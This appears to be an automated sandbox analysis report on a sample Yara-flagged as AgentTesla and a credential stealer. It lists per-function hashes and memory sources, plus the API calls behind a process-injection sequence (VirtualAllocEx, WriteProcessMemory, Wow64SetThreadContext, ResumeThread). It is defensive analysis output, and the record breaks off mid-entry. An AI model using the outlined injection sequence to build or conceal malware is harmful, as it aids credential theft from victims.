Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2351385354.0000000002318000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2351385354.0000000002318000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: vbc.exe PID: 2904 Parent PID: 2728 vbc.exeCOMMON

Executed Functions

Function 0046DAB0, Relevance: 1.6, Strings: 1, Instructions: 308COMMON

Download Yara Rule

Strings

'.u, xrefs: 0046DB6B

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID: '.u
API String ID: 0-1026940300
Opcode ID: d0011d6f7342f15167b1a110b7f04c41146073cdff08fa4c5a58c09d8c1c5b8b
Instruction ID: 5238e9c0b4569e7f6e25bc13b3e00c83184541e3bdb5f7a7633b87b2805447d8
Opcode Fuzzy Hash: d0011d6f7342f15167b1a110b7f04c41146073cdff08fa4c5a58c09d8c1c5b8b
Instruction Fuzzy Hash: 6CD17274E0420ACFCB04DF95D5848AEFBB2FF89340B61D456D416AB218E738EA42CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00468FC0, Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd0a5a256e951680dcfcbb59062f1e9d15f213b1cf2cc1e669d0b0178525bc54
Instruction ID: 4926ca63f207fcb4b1212ef0d171c4f1f411a20c904ccfda5c1ea36a686c46b0
Opcode Fuzzy Hash: fd0a5a256e951680dcfcbb59062f1e9d15f213b1cf2cc1e669d0b0178525bc54
Instruction Fuzzy Hash: 00A15870D002198FDB14DFA5C9447EEBBBABF89314F6484AAD508A7204EB744D86CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0046BA68, Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b58bc293be4bba54abb40ff9082454b70d2a7fb746a407ca2206ad661cde702d
Instruction ID: 1549260e540c61ec315aa4569c9a65ce190e86fc9ebc264892a8ecc9e567e29f
Opcode Fuzzy Hash: b58bc293be4bba54abb40ff9082454b70d2a7fb746a407ca2206ad661cde702d
Instruction Fuzzy Hash: 4781A174E002188FDB08CFE9C994AEEFBB2EF88300F24852AD915AB354D7749946CF55

Uniqueness

Uniqueness Score: -1.00%

Function 01F104D8, Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60bbc9b1824961940487e7e6814d276627280b8d3a12f9e5ccced8895ae5d070
Instruction ID: 628de1ee66ef09d431716ee0db8f41414381630cbf6b29cabda146e193da1c99
Opcode Fuzzy Hash: 60bbc9b1824961940487e7e6814d276627280b8d3a12f9e5ccced8895ae5d070
Instruction Fuzzy Hash: 0F41FA75E01218CFDB18CFAAD94069EFBB7EFC9204F14C5AAD508A7219DB305A86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00460998, Relevance: 2.7, Strings: 2, Instructions: 196COMMON

Download Yara Rule

Strings

@2>m, xrefs: 00460A4E
X:, xrefs: 004609E2, 00460B51

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID: @2>m$X:
API String ID: 0-1990220100
Opcode ID: ec899cdce023a4af87f5f46a842233edc6b9f0960c0b38851bb87c9ed4aaec0e
Instruction ID: f136e07f848453bd64871d3627e5e2cdbac99dd2618d5b32d91e34f495573060
Opcode Fuzzy Hash: ec899cdce023a4af87f5f46a842233edc6b9f0960c0b38851bb87c9ed4aaec0e
Instruction Fuzzy Hash: 9D61F3347142448FCB08DBA8C454AAFB7F2EF85314F1485BAD506DB3A1EB359C46CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00460F85, Relevance: 2.6, Strings: 2, Instructions: 96COMMON

Download Yara Rule

Strings

6, xrefs: 0046105C
g, xrefs: 004614CD

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID: 6$g
API String ID: 0-4254684525
Opcode ID: 90a89a1296b16be82a99b4dbc02ae1d4a5ebd7467ac991f2b8daa6bef27edd18
Instruction ID: 7c91222e9b431d49897e53067476fba700a8de40e8a092e3dbee5b8bebcd8918
Opcode Fuzzy Hash: 90a89a1296b16be82a99b4dbc02ae1d4a5ebd7467ac991f2b8daa6bef27edd18
Instruction Fuzzy Hash: 2A41EA34A10219CFDB049FA4E85C6ACBBB2BF89351F55463AD807A7760EF745889CB42

Uniqueness

Uniqueness Score: -1.00%

Function 01F17C64, Relevance: 1.8, APIs: 1, Instructions: 326processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 01F17F37

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 98e2018bfbae497fd26716e373aa736050b77979dedfc5c9ff167459e7883ce3
Instruction ID: abc5540286d08d47c1ba85e704851b155becccef22d143a96e134bc1e2c09170
Opcode Fuzzy Hash: 98e2018bfbae497fd26716e373aa736050b77979dedfc5c9ff167459e7883ce3
Instruction Fuzzy Hash: 79C12471D0022DCFDB20DFA8C8417EDBBB1BB49304F0096A9E959B7244DB719A85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01F17C70, Relevance: 1.8, APIs: 1, Instructions: 323processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 01F17F37

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: fe2609c16cf2e889b1aa21dc6a7997378364a5f296c8379ef4f08b7a3a44912c
Instruction ID: 89e0fe9422a511ea92ee88020b4d3212fdbac3e7cbfff9ad857f6003e256ccd1
Opcode Fuzzy Hash: fe2609c16cf2e889b1aa21dc6a7997378364a5f296c8379ef4f08b7a3a44912c
Instruction Fuzzy Hash: 1AC12471D0022DCFDB20DFA8C8417EDBBB1BB49304F0096A9D959B7244DB719A85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01F178D0, Relevance: 1.6, APIs: 1, Instructions: 119injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 01F179AB

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fa281514ab8e8730aca241719fd45b216f72cc8e62bb954ec99d570d41dda310
Instruction ID: d8f98ceb71f91965ef8932e84bd82e01c75fa0a8ec4d3c86271dcd4b73d6aba4
Opcode Fuzzy Hash: fa281514ab8e8730aca241719fd45b216f72cc8e62bb954ec99d570d41dda310
Instruction Fuzzy Hash: 0641BBB5D012588FCF10CFA9D884ADEFBF1BB49304F24942AE819B7250D339AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 01F178D8, Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 01F179AB

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a5d5ef9bba5dbe76cbc5edb44abbf4b9c54993ffcf4eb1b52500510d127a9a52
Instruction ID: 5f0354da91eae7124d40e346563db7e42296160b4de4e321ab835dbcbc32ccd1
Opcode Fuzzy Hash: a5d5ef9bba5dbe76cbc5edb44abbf4b9c54993ffcf4eb1b52500510d127a9a52
Instruction Fuzzy Hash: 5841ABB5D012589FCF00CFA9D884ADEFBF1BB49304F24942AE819B7250D739AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01F17A31, Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 01F17AEA

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: c050c05bd3b75015881c244f70006789777dd2b41db40504f6949c3b96a6f27f
Instruction ID: e86a68e8479d21770284f899020cba1819badd28d81cd6c21d321f36a04cd7b1
Opcode Fuzzy Hash: c050c05bd3b75015881c244f70006789777dd2b41db40504f6949c3b96a6f27f
Instruction Fuzzy Hash: 6E41AAB9D002589FCF10CFE9D884AEEFBB1BB49310F14942AE815B7250D735A946CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01F17A38, Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 01F17AEA

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a76719a272752ae73f3ce064e849683d30dba0dd8d82f4b2ac8cd6a8fe7f282d
Instruction ID: cceea96d9955f81c926d951054afe70a7174c6f17f28d39e5a4edbf1a0db9b56
Opcode Fuzzy Hash: a76719a272752ae73f3ce064e849683d30dba0dd8d82f4b2ac8cd6a8fe7f282d
Instruction Fuzzy Hash: 5941B9B9D002589FCF10CFE9D880AEEFBB5BB49310F14942AE915B7240D735A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01F177A9, Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 01F1785A

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1f1e1db8a3101472e5e48540991a5e17a1ce3b072c8c2059a344f2365fdc06f6
Instruction ID: 991bc238f9cdfed6f00de1269422b7e59bb828c9b0f6bef89dd77be64f812a53
Opcode Fuzzy Hash: 1f1e1db8a3101472e5e48540991a5e17a1ce3b072c8c2059a344f2365fdc06f6
Instruction Fuzzy Hash: 00419BB9D002589FCF10CFA9E880ADEFBB5BF59310F10952AE815B7250D735A946CF94

Uniqueness

Uniqueness Score: -1.00%

Function 01F177B0, Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 01F1785A

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 791c6cb563c43d6d3f6e287d4ac456d8b9c8a0a65f2d737ace68534dbee40c5a
Instruction ID: ae3c5f55569a4798e9120108e9291ce1d45d1982f582fa0772fe836660e37e16
Opcode Fuzzy Hash: 791c6cb563c43d6d3f6e287d4ac456d8b9c8a0a65f2d737ace68534dbee40c5a
Instruction Fuzzy Hash: 0A419BB8D002589FCF10CFA9D880ADEFBB5BB49310F10942AE915B7250D735A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 01F13850, Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 01F138FF

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 49a2dcbe800ab19bf4364350442de98ea588ff99a9fdd0e94fcf72088543203b
Instruction ID: a1a0f18ba500e76e046ffdf87a011bdbaada568cc8c4689187552d73b9901a58
Opcode Fuzzy Hash: 49a2dcbe800ab19bf4364350442de98ea588ff99a9fdd0e94fcf72088543203b
Instruction Fuzzy Hash: 8F31A9B9D00258DFCF10CFA9E484AEEFBB1BB59310F24942AE855B7210D335AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01F17679, Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 01F1772F

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b385c11ea489ead04e390808c0e3084eb65841243454bbe6bcfe51d3491fa97d
Instruction ID: b90105acbcc4ad9f9d9dd595b0da61d677ce4877e0a724750cb0cbced2349b9a
Opcode Fuzzy Hash: b385c11ea489ead04e390808c0e3084eb65841243454bbe6bcfe51d3491fa97d
Instruction Fuzzy Hash: 4741BDB4D012589FCB14DFA9D884AEEFBB1BF49314F24842AE819B7240D7399945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 01F17680, Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 01F1772F

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9e0c3f9c43dde43e8932c5daf7f36231527ae01c0441b916913deb5cfe0f94c0
Instruction ID: 469a284506716fe835901a6cd34c9607ec6bb97977779f1f03c8dc849b0adf36
Opcode Fuzzy Hash: 9e0c3f9c43dde43e8932c5daf7f36231527ae01c0441b916913deb5cfe0f94c0
Instruction Fuzzy Hash: 5F41CDB4D012589FCB10DFA9D884AEEFBF1BF49314F24842AE419B7240D739A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 01F13858, Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 01F138FF

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6dbbd97c42f50b23e556b1ce7f666eead46652756f3c30f8c341ae5470672631
Instruction ID: c94ab38671a525742ce2dcf51ee2a2db3b83ecd8060d12984b59562f2b5d96a7
Opcode Fuzzy Hash: 6dbbd97c42f50b23e556b1ce7f666eead46652756f3c30f8c341ae5470672631
Instruction Fuzzy Hash: 2731A9B9D002189FCF10CFA9E884ADEFBB5BB09310F24942AE815B7210D335AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01F17588, Relevance: 1.6, APIs: 1, Instructions: 80threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 01F1760E

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 55912ce73322503a7657e2296b9fe2ee1296df4fbf156c7c4152d21b7cc7f04d
Instruction ID: fd99d536b6d101906e99f5adedc569b54c25efa3b841d745089dc790b91a5a96
Opcode Fuzzy Hash: 55912ce73322503a7657e2296b9fe2ee1296df4fbf156c7c4152d21b7cc7f04d
Instruction Fuzzy Hash: 7731ECB8D002189FCF10CFA9E884ADEFBB1BF49314F14892AE819B7240D735A941CF94

Uniqueness

Uniqueness Score: -1.00%

Function 01F17590, Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 01F1760E

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 05f4228a598dea8ee73a49ea5b428a1973e2691944db82388ae35a3ac7fd795b
Instruction ID: 620ba0a2337ace0e20a23dcb022b14610dc032e32f115615bfc3e7e02d2558b7
Opcode Fuzzy Hash: 05f4228a598dea8ee73a49ea5b428a1973e2691944db82388ae35a3ac7fd795b
Instruction Fuzzy Hash: B931D8B8D002189FCF10CFA9E884ADEFBB5BB49314F14982AE819B7240D735A901CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004628E0, Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22253fa8bba1ff64ae67ce5aef35b3994d1b6fedffb94d76dba461cb10266d58
Instruction ID: 867afd03763f5e6f6d419c1e40ca9d673669e4d46453e1b2ea0658d7363f8344
Opcode Fuzzy Hash: 22253fa8bba1ff64ae67ce5aef35b3994d1b6fedffb94d76dba461cb10266d58
Instruction Fuzzy Hash: 5A91D1B4E00218DFCB14DFA9D944AADBBB1FF89310F1080AAD509AB351EB745D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 004628CF, Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b389042eef5de223dd49030df6e7ab6cb6e7b3291c3757569d85cba5a2b4fd
Instruction ID: 4c94e6a474a99734d9377fc99fd9058f6be6827141ec8bdc8561df65de963764
Opcode Fuzzy Hash: 09b389042eef5de223dd49030df6e7ab6cb6e7b3291c3757569d85cba5a2b4fd
Instruction Fuzzy Hash: E691E2B4E04218CFDB14DFA9D944AADBBB1FF89310F1080AAD509AB361DB745D85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 00469519, Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57a10c550a160aec02e31c419a237108fa6b7c84f5f5c43b06689c380682f5a0
Instruction ID: 623dd19942f2b4a20316298bfec5fe54185bcdb5f201142943c663f8cd82a682
Opcode Fuzzy Hash: 57a10c550a160aec02e31c419a237108fa6b7c84f5f5c43b06689c380682f5a0
Instruction Fuzzy Hash: 29513C70E102198FDB44DFE8C4846EEBBF9AB88319F609426D009AB344F7789C418F56

Uniqueness

Uniqueness Score: -1.00%

Function 00460481, Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa1beee36cd0aef45b489b3d0906b066e1d7b4e5edde62ef89b538523770cef7
Instruction ID: 65d85424039937ac298b7fd3ca1e7393a0fd3d8c3a7057b7244811668c023735
Opcode Fuzzy Hash: aa1beee36cd0aef45b489b3d0906b066e1d7b4e5edde62ef89b538523770cef7
Instruction Fuzzy Hash: F231527491010ACFCB00EFA4E848AAEFBB0FF48304F50482AD512A7254EF756E55CF66

Uniqueness

Uniqueness Score: -1.00%

Function 00460490, Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85b0af8ea22ce12fa593360ae23b88ffe93408f8e74be0eb41b745f0e07e1b79
Instruction ID: faf34ee37c1f8bb9e14f6a30f55c259f254775f0fd8389be9b927a25f4fec7eb
Opcode Fuzzy Hash: 85b0af8ea22ce12fa593360ae23b88ffe93408f8e74be0eb41b745f0e07e1b79
Instruction Fuzzy Hash: CC313E7491010ACBCF10EFA4E848ABEF7B1FB48304F50482AD512A7254EF796E59CF66

Uniqueness

Uniqueness Score: -1.00%

Function 0046AD70, Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d3399bb618ebcc12a6e1eb7f9758abfc47515bef74e6248868068bfd04b95c1
Instruction ID: d80d4811eb70f6c66ebaccf52e326ee33be7b9ad608bb342d42d392652b9dfd5
Opcode Fuzzy Hash: 0d3399bb618ebcc12a6e1eb7f9758abfc47515bef74e6248868068bfd04b95c1
Instruction Fuzzy Hash: AE31893188E3C59FCB039FB488555C87FB0AF63260B5A00EBC484DB163E63D4996CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0046C380, Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71234379496ca4de88820364434088de2abfccdcfc6c7cea2cfe30f66c26fe3b
Instruction ID: 7f15541fb23d13cf94ffab6e99c8324c7ad912497dbc6e79d8cc8875bc1dc754
Opcode Fuzzy Hash: 71234379496ca4de88820364434088de2abfccdcfc6c7cea2cfe30f66c26fe3b
Instruction Fuzzy Hash: 5E31B5B4E05219DFCB44CFA9C5805AEFBF2EB88300F20D56AD819A7714E778AA41CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00461D01, Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41149efb3946ab825cdc2810e0e6413b936783030cc9e7631010d8f127a43512
Instruction ID: 60bf8203a9f1f6ee5cb825b8b79d73f7a09f54f6b87abe91493b04485c669467
Opcode Fuzzy Hash: 41149efb3946ab825cdc2810e0e6413b936783030cc9e7631010d8f127a43512
Instruction Fuzzy Hash: 3221B1347041008FDB44ABB4D85877E7BA2FB85355F28403AE4469B3A1DA38AE46CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00461D10, Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99da959098b2b640a0a125394f24e8bed3ce8e4f5f94c0501210f189cceda380
Instruction ID: f52b91fe457b138336669c127c5de1da0d4fe545c4ceee3641822391078b6956
Opcode Fuzzy Hash: 99da959098b2b640a0a125394f24e8bed3ce8e4f5f94c0501210f189cceda380
Instruction Fuzzy Hash: 2521C4307041009BD744ABB8D85877E76A2FB84355F24443AE507DB3A0EF38AE46CB97

Uniqueness

Uniqueness Score: -1.00%

Function 002FD01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139755260.00000000002FD000.00000040.00000001.sdmp, Offset: 002FD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4c2ca27bdeaad7147f4869c801bb021db0f4e20e141e5baa476e930258df808
Instruction ID: 54b4a39f7a0650d922055e894e38d5b0d7284fb4663ba8e3519cfa1fdd156a76
Opcode Fuzzy Hash: d4c2ca27bdeaad7147f4869c801bb021db0f4e20e141e5baa476e930258df808
Instruction Fuzzy Hash: 9421F575614208DFDB14DF20D8C4B26FB66EB84358F20C97DE90A4B246CB7AD857CA61

Uniqueness

Uniqueness Score: -1.00%

Function 002FD006, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139755260.00000000002FD000.00000040.00000001.sdmp, Offset: 002FD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 265b68c002398497b62f8499e6343b3a297dfe710eff8e24f4c58e0c2823b4ff
Instruction ID: 389ce4ea807504452e569528e018f6add1e90fe83a33b3135d3be1643473c053
Opcode Fuzzy Hash: 265b68c002398497b62f8499e6343b3a297dfe710eff8e24f4c58e0c2823b4ff
Instruction Fuzzy Hash: 8E218E755093848FCB02CF20D994715FF72EB46314F28C5EAD8498B2A7C33A981ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0046E1F8, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bd7a31f7cc3e77e8740ba43c18e7664ea416a6f7ec81c9c48a656632315e2f6
Instruction ID: 0a073f698461c1a5323ed0952fb68a7d62bf898aed98ce81e0c7cd32f80a83a3
Opcode Fuzzy Hash: 7bd7a31f7cc3e77e8740ba43c18e7664ea416a6f7ec81c9c48a656632315e2f6
Instruction Fuzzy Hash: 5A11E778E00108EFCB04DFA9CA55A9EFBF6EB89300F14C4AAD50897365E774DA059B41

Uniqueness

Uniqueness Score: -1.00%

Function 00460BF8, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c74fb82fd3d5af2ade2a8ba181d10e610bc702946a8656b1d5f3ff71af0bd327
Instruction ID: 2a7bfc79e9030f12c8583a3590c988993ef7f7e9087c03759bd7bc6a067df81a
Opcode Fuzzy Hash: c74fb82fd3d5af2ade2a8ba181d10e610bc702946a8656b1d5f3ff71af0bd327
Instruction Fuzzy Hash: C3010431700514CFC718AB65B808A3F7296DB84765F040677D50ACB254EF398C8287DB

Uniqueness

Uniqueness Score: -1.00%

Function 00460720, Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a178c4e69d94863f4987f0f1d1cbd60ab010d48d722f88ab1c2504ef6ea67bdb
Instruction ID: 385838905c5e67f5ab0718e0599c87d2ba3457e0b30e037bac5de31e5f050e5b
Opcode Fuzzy Hash: a178c4e69d94863f4987f0f1d1cbd60ab010d48d722f88ab1c2504ef6ea67bdb
Instruction Fuzzy Hash: 1D01EC39704214C7E7251B31AC4C77B365BABC1B63F29407B951A82250EF78EC429F5B

Uniqueness

Uniqueness Score: -1.00%

Function 00460691, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64b229332eef6d79f0c786422124eb368400d4a9b58fe34f1df278415a164719
Instruction ID: 79e64dda1d2c456d76734bc7f0618f7e0c5fd29fa25a7f68f4940d60cefddd2b
Opcode Fuzzy Hash: 64b229332eef6d79f0c786422124eb368400d4a9b58fe34f1df278415a164719
Instruction Fuzzy Hash: 6701B134E082A98FCF40DBB8D4509AE7BF1AF89754F0449ABD006DB350E7349E15CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0026D1C5, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139731628.000000000026D000.00000040.00000001.sdmp, Offset: 0026D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86a5db716065772a42a60ec04b305b3c1fadfb1d9e80aaed5fda4b1838023dd7
Instruction ID: b15fbcae1528c20ffecfeb647570de66fa052bba245b008f4b1e5ca1be2f3080
Opcode Fuzzy Hash: 86a5db716065772a42a60ec04b305b3c1fadfb1d9e80aaed5fda4b1838023dd7
Instruction Fuzzy Hash: 4E012B319147489AD7208E55DC84B67BFDCEF41324F18C45AED090B283C3B8DC91C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 004606A0, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc386892a6a31da04280f97d4760133cc3bb821619070f50f3f7322fb903b8a1
